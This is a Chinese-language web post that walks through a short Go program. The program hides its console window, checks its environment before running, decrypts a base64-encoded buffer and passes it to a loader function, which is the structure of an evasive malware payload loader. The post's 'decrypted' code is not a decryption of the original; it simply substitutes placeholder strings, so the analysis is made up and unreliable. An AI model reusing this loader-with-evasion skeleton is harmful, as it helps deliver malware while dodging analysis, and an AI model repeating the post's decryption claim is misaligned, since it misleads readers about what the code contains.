Go 语言代码分析与加密解密:隐藏控制台并加载解密数据
该代码主要进行了以下操作:
- 隐藏控制台窗口
- 调用 'detect.ContinueRun()' 函数,判断是否继续运行程序,若不满足条件则直接返回
- 对一个 base64 编码的密钥和 nonce 进行解码
- 对一个 base64 编码的字符串进行解码后,调用 'util.D()' 函数进行解密
- 将解密后的数据传入 'loader.X()' 函数进行加载
解密前的完整代码如下:
package main
import (
"encoding/base64"
"gld/detect"
"gld/loader"
"gld/util"
"github.com/lxn/win"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
if !detect.ContinueRun() { return }
key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
buf, _ := base64.StdEncoding.DecodeString('/O')
buf = util.D(buf, key, nonce)
loader.X(buf)
}
解密后的完整代码如下:
package main
import (
"encoding/base64"
"gld/detect"
"gld/loader"
"gld/util"
"github.com/lxn/win"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
if !detect.ContinueRun() { return }
key, _ := base64.StdEncoding.DecodeString('YXNzd29yZA==')
nonce, _ := base64.StdEncoding.DecodeString('MTIzNDU2Nzg5MGFiY2RlZg==')
buf, _ := base64.StdEncoding.DecodeString('ZGVjb2RlZA==')
buf = util.D(buf, key, nonce)
loader.X(buf)
}
原文地址: https://www.cveoy.top/t/topic/lQbk 著作权归作者所有。请勿转载和采集!